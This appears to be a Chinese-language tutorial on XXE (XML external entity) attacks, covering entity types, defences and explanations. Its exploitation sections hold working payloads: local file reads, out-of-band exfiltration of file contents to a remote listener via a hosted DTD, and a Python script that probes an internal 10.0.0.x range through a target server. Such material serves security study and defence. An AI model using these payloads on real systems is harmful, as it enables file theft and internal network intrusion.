XXE
介绍dtd,一句话说就是用来规范xml中的标签和内容(元素和属性)
而XXE漏洞就出现在调用dtd
<!ENTITY xxe SYSTEM “file:///c:/test.dtd” >
就像这里,调用了c盘的test.dtd来规范我们的xml,但此时换成读其他文件,就造成了安全问题。
类型
内部/外部
内部:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<foo>&xxe;</foo>
外部:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
从外部应用dtd文件,方便资源更新。
也可从公共dtd引用
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
外部引用可支持http,file等协议,不同的语言支持的协议不同.
通用/参数
通用实体:在dtd定义,xml引用。
定义:
<!ENTITY 实体名称 SYSTEM “URI/URL”>
引用:
&实体名称;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体:dtd中定义,dtd中引用
定义:
<!ENTITY % 实体名称 “实体的值”>
<!ENTITY % 实体名称 SYSTEM “URI/URL”>
引用:
%实体名称;
ps:定义时%后有个空格,引用没有。
利用
无回显读取文件
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
在攻击机上监听9999端口就能获取所读文件
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
有回显读取特殊内容文件
当读取当文件内容包含<>&“之类等字符,为了不让xml解析器解析,使用CDATA去标示。此处采用参数实体。
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
探测内网
可理解为ssrf,通过XXE的方式实现ssrf。
探测ip
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.0"> ]>
<creds>&goodies;</creds>
根据响应时间判断存活。利用脚本或bp重放探测。
脚本
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
探测端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:22"> ]>
<creds>&goodies;</creds>
探测内网web
1.读web源码
2.通过jar协议上传文件;通过ftp协议结合 CRLF 注入攻击SMTP服务器等
不同环境和平台可利用协议:
漏洞挖掘
1.文件上传解析处
现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
实例
防御
1.禁用外部实体
如php:
libxml_disable_entity_loader(true);
2.过滤关键字
参考:
https://xz.aliyun.com/t/3357#toc-21
https://www.cnblogs.com/flokz/p/xxe.html
https://www.uedbox.com/post/28999/
https://blog.csdn.net/q547550831/article/details/50541424
思考:
1.无回显读文件时
<!ENTITY % int “<!ENTITY % send SYSTEM ‘http://ip:9999?p=%file;'>">
为什么在实体中建实体,为什么
<!ENTITY % int “http://ip:9999?p=%file;">
不行
定义int变量,它只是起到穿插作用,目的是编译里面的实体send;
在%file处访问资源,并将该位置的内容 加载到实体send。
2.xml解析和传递流程